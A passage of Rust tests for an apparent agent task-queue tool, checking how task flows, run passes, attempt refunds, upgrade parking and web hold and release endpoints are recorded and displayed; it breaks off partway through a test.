13078 assert_eq!(n.status_of, "task");
13079 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
13080 assert_eq!(f.nodes[1].key, "start");
13081 assert_eq!(f.edges[0].from, "origin");
13082 assert_eq!(
13083 f.edges[0].label,
13084 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
13085 );
13086 }
13087
13088 #[test]
13089 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
13090 let o = followup_origin(
13091 &fu(Some("gone")),
13092 |_| None,
13093 |_| {
13094 Some(RunState::new(
13095 std::path::PathBuf::from("."),
13096 "main".to_owned(),
13097 "0".to_owned(),
13098 "t".to_owned(),
13099 crate::config::Config::default(),
13100 ))
13101 },
13102 );
13103 assert!(o.parent.is_none());
13104 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13105 let n = &f.nodes[0];
13106 assert_eq!(n.status_of, "run");
13107 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
13108 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
13109 }
13110
13111 #[test]
13112 fn flow_followup_with_nothing_readable_has_no_link() {
13113 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
13114 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13115 let n = &f.nodes[0];
13116 assert_eq!(n.href, None);
13117 assert_eq!(n.note, Some("unreadable"));
13118 assert!(!n.readable);
13119 }
13120
13121 #[test]
13122 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
13123 let o = followup_origin(&fu(None), |_| None, |_| None);
13124 let mut t = flow_task(&[]);
13125 t.origin_chat = Some("c1".to_owned());
13126 let f = task_flow(&t, &[], 5, Some(&o));
13127 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
13128 t.source = Source::Agent {
13129 run: "c1".to_owned(),
13130 node: crate::queue::CHAT_NODE.to_owned(),
13131 };
13132 let f = task_flow(&t, &[], 5, Some(&o));
13133 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
13134 assert_eq!(
13135 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
13136 ("chat", "origin")
13137 );
13138 }
13139
13140 #[test]
13141 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
13142 let mut p = parent_task();
13143 p.id = "a b/c".to_owned();
13144 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
13145 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
13146 }
13147
13148 #[test]
13149 fn flow_opens_with_the_chat_that_queued_the_task() {
13150 let mut t = flow_task(&[]);
13151 t.source = Source::Agent {
13152 run: "a b/c".to_owned(),
13153 node: crate::queue::CHAT_NODE.to_owned(),
13154 };
13155 let f = flow_for(&t, &[]);
13156 assert_eq!(f.nodes[0].key, "chat");
13157 assert_eq!(f.nodes[0].kind, "chat");
13158 assert_eq!(
13159 f.nodes[0].label,
13160 format!("Chat {}", crate::queue::short("a b/c"))
13161 );
13162 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
13163 assert_eq!(f.nodes[1].key, "start");
13164 assert_eq!(
13165 f.edges[0],
13166 FlowEdge {
13167 from: "chat".to_owned(),
13168 to: "start".to_owned(),
13169 label: "queued from chat".to_owned(),
13170 attempt: AttemptCost::None,
13171 }
13172 );
13173 }
13174
13175 #[test]
13176 fn flow_has_no_chat_box_for_other_sources() {
13177 for source in [
13178 Source::Human,
13179 Source::Issue {
13180 number: 3,
13181 repo: "o/r".to_owned(),
13182 },
13183 Source::Agent {
13184 run: "20260904-014455-ab12".to_owned(),
13185 node: "implement".to_owned(),
13186 },
13187 ] {
13188 let mut t = flow_task(&[]);
13189 t.source = source;
13190 let f = flow_for(&t, &[]);
13191 assert_eq!(f.nodes[0].key, "start");
13192 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
13193 assert!(f.edges.iter().all(|e| e.from != "chat"));
13194 }
13195 }
13196
13197 const FA: &str = "20260902-140501-aaaa";
13198 const FB: &str = "20260902-140502-bbbb";
13199
13200 #[test]
13201 fn flow_follows_blocked_retry_merged_to_done() {
13202 let mut t = flow_task(&[FA, FB]);
13203 t.status = TaskStatus::Done;
13204 let f = flow_for(
13205 &t,
13206 &[
13207 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
13208 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
13209 ],
13210 );
13211 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
13212 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
13213 assert_eq!(f.edges.len(), 3);
13214 assert_eq!(f.edges[0].label, "claimed");
13215 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
13216 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13217 assert_eq!(f.edges[2].label, "merged \u{2192} done");
13218 assert_eq!(
13219 f.nodes[2].href.as_deref(),
13220 Some("#/runs/20260902-140502-bbbb")
13221 );
13222 assert!(f.nodes[2].decided);
13223 }
13224
13225 #[test]
13226 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
13227 let quota = || {
13228 flow_run(RunStatus::Stalled, |s| {
13229 s.quota.push(crate::run::QuotaLoss {
13230 seat: "judge-1".to_owned(),
13231 node: "judge".to_owned(),
13232 at: Timestamp::now(),
13233 reset: None,
13234 })
13235 })
13236 };
13237 let mut t = flow_task(&[FA, FA]);
13238 t.status = TaskStatus::Queued;
13239 let f = flow_for(&t, &[(FA, Some(quota()))]);
13240 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
13241 assert_eq!(f.nodes[1].note, Some("interrupted"));
13242 assert_eq!(
13243 f.nodes[1].status, None,
13244 "no outcome copied onto an earlier pass"
13245 );
13246 assert_eq!(
13247 f.edges[1].attempt,
13248 AttemptCost::Unknown,
13249 "a resume does not prove the earlier pass was refunded"
13250 );
13251 assert!(f.edges[1].label.contains("resume the same run"));
13252 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
13253 assert_eq!(
13254 f.edges[2].label,
13255 "stalled after a resume, refund unknown \u{2192} queued"
13256 );
13257 assert!(!f.nodes[2].decided, "a stall is not a decision");
13258 assert_eq!(f.nodes[2].note, Some("no verdict"));
13259 }
13260
13261 #[test]
13262 fn flow_single_pass_quota_stall_is_refunded() {
13263 let t = flow_task(&[FA]);
13264 let f = flow_for(
13265 &t,
13266 &[(
13267 FA,
13268 Some(flow_run(RunStatus::Stalled, |s| {
13269 s.quota.push(crate::run::QuotaLoss {
13270 seat: "judge-1".to_owned(),
13271 node: "judge".to_owned(),
13272 at: Timestamp::now(),
13273 reset: None,
13274 })
13275 })),
13276 )],
13277 );
13278 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13279 }
13280
13281 #[test]
13282 fn flow_parked_refunds_and_stall_without_quota_spends() {
13283 let mut t = flow_task(&[FA]);
13284 t.status = TaskStatus::Queued;
13285 let f = flow_for(
13286 &t,
13287 &[(
13288 FA,
13289 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
13290 )],
13291 );
13292 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
13293 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13294 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
13295 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13296 assert!(!f.nodes[1].decided);
13297 }
13298
13299 #[test]
13300 fn flow_keeps_an_unreadable_run_as_its_own_node() {
13301 let t = flow_task(&[FA, FB]);
13302 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
13303 assert_eq!(f.nodes[1].note, Some("unreadable"));
13304 assert!(!f.nodes[1].readable);
13305 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
13306 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
13307 }
13308
13309 #[test]
13310 fn flow_names_the_branch_of_a_review_only_run() {
13311 let t = flow_task(&[FA]);
13312 let f = flow_for(
13313 &t,
13314 &[(
13315 FA,
13316 Some(flow_run(RunStatus::Merged, |s| {
13317 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
13318 })),
13319 )],
13320 );
13321 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
13322 assert_eq!(
13323 f.nodes[1].detail.as_deref(),
13324 Some("review-only run of branch magi/x/A")
13325 );
13326 }
13327
13328 #[test]
13329 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
13330 let mut t = flow_task(&[FA]);
13331 t.status = TaskStatus::Held;
13332 let pr = crate::run::PrRecord {
13333 url: "https://example.test/pr/1".to_owned(),
13334 number: 1,
13335 state: "open".to_owned(),
13336 checks: "green".to_owned(),
13337 round: 0,
13338 rounds: 3,
13339 red_at_merge: Vec::new(),
13340 };
13341 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
13342 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
13343 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
13344 t.status = TaskStatus::Done;
13345 let f = flow_for(&t, &[(FA, Some(blocked))]);
13346 assert_eq!(f.edges[1].label, "closed by hand: task is done");
13347 }
13348
13349 #[test]
13350 fn flow_with_no_runs_goes_from_queued_to_queued() {
13351 let t = flow_task(&[]);
13352 let f = flow_for(&t, &[]);
13353 assert_eq!(f.nodes.len(), 2);
13354 assert_eq!(f.edges.len(), 1);
13355 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
13356 assert_eq!(f.edges[0].attempt, AttemptCost::None);
13357 }
13358
13359 #[test]
13362 fn a_parked_non_terminal_run_is_explained_as_parked() {
13363 let mut s = RunState::new(
13364 PathBuf::from("/repo/magi"),
13365 "main".to_owned(),
13366 "0123456789abcdef".to_owned(),
13367 "Do it".to_owned(),
13368 Config::default(),
13369 );
13370 s.status = RunStatus::Implementing;
13371 s.parked = true;
13372 let task = Task::new(
13373 "t".to_owned(),
13374 "Do it".to_owned(),
13375 PathBuf::from("/repo/magi"),
13376 Source::Human,
13377 );
13378 let v = task_run_view(
13379 "20260902-140501-aaaa",
13380 Some(&s),
13381 RunSlot {
13382 n: 1,
13383 resumed: false,
13384 resumed_later: None,
13385 prior: None,
13386 last: true,
13387 ..RunSlot::default()
13388 },
13389 &task,
13390 );
13391 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
13392 }
13393
13394 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
13395 let mut s = flow_run(RunStatus::Implementing, edit);
13396 s.parked = false;
13397 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
13398 task_run_view(
13399 "20260902-140501-aaaa",
13400 Some(&s),
13401 RunSlot {
13402 n: 1,
13403 resumed: false,
13404 resumed_later: Some(2),
13405 prior: None,
13406 last: false,
13407 ..RunSlot::default()
13408 },
13409 &task,
13410 )
13411 }
13412
13413 #[test]
13414 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
13415 let v = earlier_pass_view(|_| {});
13416 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
13417 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
13418 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
13419 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
13420 assert_eq!(v.exit, RunExit::Interrupted);
13421 assert_eq!(v.attempt, AttemptCost::Unknown);
13422 }
13423
13424 #[test]
13425 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
13426 let v = earlier_pass_view(|s| {
13427 s.quota.push(crate::run::QuotaLoss {
13428 seat: "judge-1".to_owned(),
13429 node: "judge".to_owned(),
13430 at: Timestamp::now(),
13431 reset: None,
13432 });
13433 });
13434 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
13435 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
13436 assert_eq!(v.attempt, AttemptCost::Unknown);
13437 }
13438
13439 #[test]
13440 fn the_current_pass_states_its_recorded_cause_and_cost() {
13441 let slot = || RunSlot {
13442 n: 1,
13443 resumed: false,
13444 resumed_later: None,
13445 prior: None,
13446 last: true,
13447 ..RunSlot::default()
13448 };
13449 let task = flow_task(&["20260902-140501-aaaa"]);
13450 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
13451 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
13452 assert_eq!(
13453 (v.exit, v.attempt),
13454 (RunExit::Parked, AttemptCost::Refunded)
13455 );
13456 let spent = flow_run(RunStatus::Blocked, |_| {});
13457 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
13458 assert_eq!(v.attempt, AttemptCost::Spent);
13459 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
13460 }
13461
13462 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
13463 crate::run::RunPass {
13464 index,
13465 started_at: Timestamp::now(),
13466 resumed: index > 0,
13467 ended_at: end.as_ref().map(|_| Timestamp::now()),
13468 end,
13469 task_entry: true,
13470 }
13471 }
13472
13473 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
13474 Some(crate::run::PassEnd::Parked { cause })
13475 }
13476
13477 fn upgrade_cause() -> crate::run::ParkCause {
13478 crate::run::ParkCause::Upgrade {
13479 from: "0.121.0".to_owned(),
13480 to: Some("0.121.1".to_owned()),
13481 }
13482 }
13483
13484 fn settled_pass(
13485 run: &str,
13486 index: usize,
13487 cost: crate::queue::PassCost,
13488 ) -> crate::queue::TaskPass {
13489 crate::queue::TaskPass {
13490 run: run.to_owned(),
13491 pass_index: index,
13492 cost,
13493 attempts_after: 1,
13494 settled_at: Timestamp::now(),
13495 parked: None,
13496 }
13497 }
13498
13499 const RUN_X: &str = "20261011-223708-4334";
13500
13501 #[test]
13502 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
13503 use crate::queue::PassCost;
13504 let run = flow_run(RunStatus::Implementing, |s| {
13505 s.passes = vec![
13506 recorded_pass(0, parked(upgrade_cause())),
13507 recorded_pass(1, None),
13508 ];
13509 });
13510 let mut task = flow_task(&[RUN_X, RUN_X]);
13511 task.attempts = 1;
13512 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13513 let h = task_history(&task, |_| Some(run.clone()));
13514 assert_eq!(h.len(), 2);
13515 assert_eq!(h[0].kind, "competition");
13516 assert_eq!(h[1].kind, "resume");
13517 assert_eq!(
13518 (h[0].exit, h[0].attempt),
13519 (RunExit::Parked, AttemptCost::Refunded)
13520 );
13521 assert!(
13522 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
13523 "{}",
13524 h[0].outcome
13525 );
13526 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
13527 assert!(
13528 h[0].outcome.contains("pass #2 resumed the same run"),
13529 "{}",
13530 h[0].outcome
13531 );
13532 assert!(
13533 h[0].outcome.contains("pass 1 of 2 over run"),
13534 "{}",
13535 h[0].outcome
13536 );
13537 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13538 assert_eq!(
13539 h[0].exit_label,
13540 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
13541 );
13542 let f = task_flow(&task, &h, 2, None);
13543 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
13545 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13546 assert!(
13547 f.edges[1].label.contains("upgrade 0.121.0"),
13548 "{}",
13549 f.edges[1].label
13550 );
13551 assert!(
13552 f.edges[1].label.contains("resume the same run"),
13553 "{}",
13554 f.edges[1].label
13555 );
13556 assert_eq!(f.nodes[1].note, Some("parked"));
13557 }
13558
13559 #[test]
13560 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
13561 let mut a = flow_run(RunStatus::Implementing, |s| {
13562 s.passes = vec![
13563 recorded_pass(0, parked(upgrade_cause())),
13564 recorded_pass(1, None),
13565 ];
13566 });
13567 let mut b = flow_run(RunStatus::Failed, |s| {
13568 s.passes = vec![recorded_pass(0, None)];
13569 });
13570 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
13571 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
13572 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
13573 let mut task = flow_task(&[]);
13574 task.start("a".into());
13575 task.start("b".into());
13576 task.start("a".into());
13577 assert_eq!(task.runs, ["b", "a"]);
13578 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
13579 let h = task_history(&task, |id| {
13580 Some(if id == "a" { a.clone() } else { b.clone() })
13581 });
13582 assert_eq!(
13583 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
13584 ["a", "b", "a"]
13585 );
13586 assert_eq!(h[0].attempt, AttemptCost::Refunded);
13587 assert!(h[0].outcome.contains("upgrade"));
13588 assert_eq!(h[2].kind, "resume");
13589 assert!(h[2].pass.is_some());
13590 task.runs = vec!["a".into(), "b".into(), "a".into()];
13592 let old = task_history(&task, |id| {
13593 Some(if id == "a" { a.clone() } else { b.clone() })
13594 });
13595 assert_eq!(
13596 old.iter()
13597 .map(|v| (&v.id, &v.kind, v.attempt))
13598 .collect::<Vec<_>>(),
13599 h.iter()
13600 .map(|v| (&v.id, &v.kind, v.attempt))
13601 .collect::<Vec<_>>()
13602 );
13603 }
13604
13605 #[test]
13606 fn an_upgrade_whose_target_was_not_known_says_so() {
13607 let run = flow_run(RunStatus::Implementing, |s| {
13608 s.passes = vec![
13609 recorded_pass(
13610 0,
13611 parked(crate::run::ParkCause::Upgrade {
13612 from: "0.121.0".to_owned(),
13613 to: None,
13614 }),
13615 ),
13616 recorded_pass(1, None),
13617 ];
13618 });
13619 let task = flow_task(&[RUN_X, RUN_X]);
13620 let h = task_history(&task, |_| Some(run.clone()));
13621 assert!(
13622 h[0].outcome.contains("upgrade from 0.121.0"),
13623 "{}",
13624 h[0].outcome
13625 );
13626 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13628 }
13629
13630 #[test]
13631 fn each_pass_keeps_its_own_cause_across_several_resumes() {
13632 use crate::queue::PassCost;
13633 use crate::run::ParkCause;
13634 let run = flow_run(RunStatus::Implementing, |s| {
13635 s.passes = vec![
13636 recorded_pass(0, parked(upgrade_cause())),
13637 recorded_pass(
13638 1,
13639 parked(ParkCause::Interrupt {
13640 reason: "task a1b2 asked to run first".to_owned(),
13641 }),
13642 ),
13643 recorded_pass(2, parked(ParkCause::Operator)),
13644 recorded_pass(3, None),
13645 ];
13646 });
13647 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
13648 task.attempts = 1;
13649 task.passes = (0..3)
13650 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
13651 .collect();
13652 let h = task_history(&task, |_| Some(run.clone()));
13653 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13654 assert!(
13655 h[1].outcome.contains("task a1b2 asked to run first"),
13656 "{}",
13657 h[1].outcome
13658 );
13659 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
13660 assert!(
13661 h[2].outcome.contains("operator asked the loop to park"),
13662 "{}",
13663 h[2].outcome
13664 );
13665 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
13666 let f = task_flow(&task, &h, 2, None);
13667 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
13668 }
13669
13670 #[test]
13671 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
13672 let run = flow_run(RunStatus::Implementing, |s| {
13673 s.passes = vec![
13674 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
13675 recorded_pass(1, None),
13676 ];
13677 });
13678 let task = flow_task(&[RUN_X, RUN_X]);
13679 let h = task_history(&task, |_| Some(run.clone()));
13680 assert_eq!(h[0].exit, RunExit::Interrupted);
13681 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13682 assert!(
13683 h[0].outcome.contains("without recording why"),
13684 "{}",
13685 h[0].outcome
13686 );
13687 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13688 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
13689 }
13690
13691 #[test]
13692 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
13693 use crate::queue::PassCost;
13694 let run = flow_run(RunStatus::Implementing, |s| {
13697 s.passes = vec![
13698 recorded_pass(0, parked(upgrade_cause())),
13699 recorded_pass(1, None),
13700 ];
13701 });
13702 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
13703 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13704 let h = task_history(&task, |_| Some(run.clone()));
13705 assert!(h[0].pass.is_none());
13706 assert_eq!(h[0].exit, RunExit::Interrupted);
13707 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13708 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13709 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13710 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
13711 let legacy = flow_run(RunStatus::Implementing, |_| {});
13713 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
13714 assert!(h.iter().all(|v| v.pass.is_none()));
13715 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13716 }
13717
13718 #[test]
13719 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
13720 use crate::queue::PassCost;
13721 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
13724 web.task_entry = false;
13725 let run = flow_run(RunStatus::Implementing, |s| {
13726 s.passes = vec![
13727 recorded_pass(0, parked(upgrade_cause())),
13728 web.clone(),
13729 recorded_pass(2, None),
13730 ];
13731 });
13732 let mut task = flow_task(&[RUN_X, RUN_X]);
13733 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13734 let h = task_history(&task, |_| Some(run.clone()));
13735 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13736 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
13737
13738 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
13741 web0.task_entry = false;
13742 let run = flow_run(RunStatus::Implementing, |s| {
13743 s.passes = vec![web0.clone(), recorded_pass(1, None)];
13744 });
13745 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
13746 assert!(h[0].pass.is_none());
13747 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13748 assert!(h[1].pass.is_some());
13749 }
13750
13751 #[tokio::test]
13752 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
13753 let dir = tempfile::tempdir().unwrap();
13754 let queue = Queue::at(dir.path().join("queue"));
13755 let ui = Arc::new(Ui::new(
13756 queue.clone(),
13757 Questions::at(dir.path().join("questions")),
13758 Talks::at(dir.path().join("talks")),
13759 dir.path().join("runs"),
13760 dir.path().to_path_buf(),
13761 dir.path().to_path_buf(),
13762 ));
13763 let mut t = Task::new(
13764 "recover".into(),
13765 "Inspect".into(),
13766 PathBuf::from("."),
13767 Source::Human,
13768 );
13769 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
13770 t.start("run-A".into());
13771 t.release_operator("choice", Some("resume-question"));
13772 t.resume_override = Some(crate::queue::OperatorResume {
13773 question_id: "resume-question".into(),
13774 at: jiff::Timestamp::now(),
13775 conductor_rehold: None,
13776 forced: true,
13777 pinned_run: Some("run-A".into()),
13778 });
13779 t.hold_machine(Some("inspection pending".into()));
13780 t.edit("recover".into(), "Reuse approved PR head".into())
13781 .unwrap();
13782 queue.put(&mut t).unwrap();
13783 let mut cli = t.clone();
13784 cli.release_operator("cli", None);
13785 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
13786 let reloaded = queue.get(&t.id).unwrap();
13787 assert_eq!(reply.task.status, TaskStatus::Queued);
13788 assert!(reloaded.resume_override.is_none());
13789 assert_eq!(reloaded.answers, t.answers);
13790 let mut web = reloaded.resumption.unwrap();
13791 let cli = cli.resumption.unwrap();
13792 assert_eq!(web.source, "web");
13793 web.source = cli.source.clone();
13794 web.at = cli.at;
13795 assert_eq!(web, cli);
13796 }
13797
13798 #[tokio::test]
13799 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
13800 let f = Fixture::start().await;
13801 let queue = f.queue();
13802 let mut task = Task::new(
13803 "spent".to_owned(),
13804 "Try again".to_owned(),
13805 PathBuf::from("/repo/magi"),
13806 Source::Human,
13807 );
13808 task.start("20260902-140502-bbbb".to_owned());
13809 task.fail("agent gave up", 9);
13810 queue.put(&mut task).expect("file the task");
13811
13812 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13813 assert_eq!(held.status, 200);
13814 assert_eq!(held.json()["status_str"], "held");
13815
13816 let released = f
13817 .post(&format!("/api/queue/{}/release", task.id), None)
13818 .await;
13819 assert_eq!(released.status, 200);
13820 assert_eq!(released.json()["status_str"], "queued");
13821 assert_eq!(released.json()["resumption"]["source"], "web");
13822 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
13823 let mut cli = task.clone();
13824 cli.release_operator("cli", None);
13825 let web = queue.get(&task.id).unwrap().resumption.unwrap();
13826 let cli = cli.resumption.unwrap();
13827 assert_eq!(web.instruction, cli.instruction);
13828 assert_eq!(web.answers_through, cli.answers_through);
13829 assert_eq!(web.runs_through, cli.runs_through);
13830 assert_eq!(web.cleared_reason, cli.cleared_reason);
13831 assert_eq!(
13832 released.json()["attempts"],
13833 0,
13834 "release is a real second chance, not an instant re-hold"
13835 );
13836 assert_eq!(
13837 queue.get(&task.id).expect("reload").status,
13838 TaskStatus::Queued,
13839 "the change is on disk, not only in the reply"
13840 );
13841 assert!(
13842 !f.home
13843 .path()
13844 .join("queue")
13845 .join(format!("{}.lock", task.id))
13846 .exists(),
13847 "the claim the mutation took is released again"
13848 );
13849 }
13850
13851 #[tokio::test]
13852 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
13853 let f = Fixture::start().await;
13854 let queue = f.queue();
13855 let mut task = Task::new(
13856 "busy".to_owned(),
13857 "Running right now".to_owned(),
13858 PathBuf::from("/repo/magi"),
13859 Source::Human,
13860 );
13861 queue.put(&mut task).expect("file the task");
13862 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13863
13864 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13865
13866 assert_eq!(res.status, 409);
13867 assert_eq!(
13868 queue.get(&task.id).expect("reload").status,
13869 TaskStatus::Queued,
13870 "the refused hold changed nothing"
13871 );
13872 }
13873
13874 #[tokio::test]
13875 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
13876 let f = Fixture::start().await;
13877 let queue = f.queue();
13878 let mut task = Task::new(
13879 "waiting on the migration".to_owned(),
13880 "Do the thing".to_owned(),
13881 PathBuf::from("/repo/magi"),
13882 Source::Human,
13883 );
13884 queue.put(&mut task).expect("file the task");
13885
13886 let held = f
13887 .post(
13888 &format!("/api/queue/{}/hold", task.id),
13889 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
13890 )
13891 .await;
13892 assert_eq!(held.status, 200, "{}", held.body);
13893 assert_eq!(held.json()["status_str"], "held");
13894 assert_eq!(
13895 held.json()["hold_reason"],
13896 "waiting for 20260101-000000-aaaa to land"
13897 );
13898
13899 let listed = f.get("/api/queue").await.json();
13900 assert_eq!(
13901 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
13902 "the card reads the reason off the same list route"
13903 );
13904
13905 let mut plain = Task::new(
13908 "no reason given".to_owned(),
13909 "Do another thing".to_owned(),
13910 PathBuf::from("/repo/magi"),
13911 Source::Human,
13912 );
13913 queue.put(&mut plain).expect("file the task");
13914 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
13915 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
13916 assert!(held_plain.json()["hold_reason"].is_null());
13917
13918 let released = f
13919 .post(&format!("/api/queue/{}/release", task.id), None)
13920 .await;
13921 assert_eq!(released.status, 200);
13922 assert!(
13923 released.json()["hold_reason"].is_null(),
13924 "a release must clear the reason so the next hold does not inherit it"
13925 );
13926 }
13927
13928 #[test]
13929 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
13930 for urgent in [true, false] {
13931 let body: UrgentBody =
13932 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
13933 assert_eq!(body.urgent, urgent);
13934 }
13935 for input in [
13936 r#"{}"#,
13937 r#"{"urgent":null}"#,
13938 r#"{"urgent":"true"}"#,
13939 r#"{"urgent":1}"#,
13940 r#"{"urgent":true,"extra":false}"#,
13941 ] {
13942 assert!(
13943 serde_json::from_str::<UrgentBody>(input).is_err(),
13944 "{input}"
13945 );
13946 }
13947 }
13948
13949 #[tokio::test]
13950 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
13951 let home = TempDir::new().unwrap();
13952 let q = Queue::at(home.path().join("queue"));
13953 let ui = Arc::new(Ui::new(
13954 q.clone(),
13955 Questions::at(home.path().join("questions")),
13956 Talks::at(home.path().join("talks")),
13957 home.path().join("runs"),
13958 home.path().into(),
13959 home.path().into(),
13960 ));
13961 let mut task = Task::new(
13962 "urgent handler".into(),
13963 "keep".into(),
13964 home.path().into(),
13965 Source::Human,
13966 );
13967 for status in [TaskStatus::Queued, TaskStatus::Held] {
13968 task.status = status;
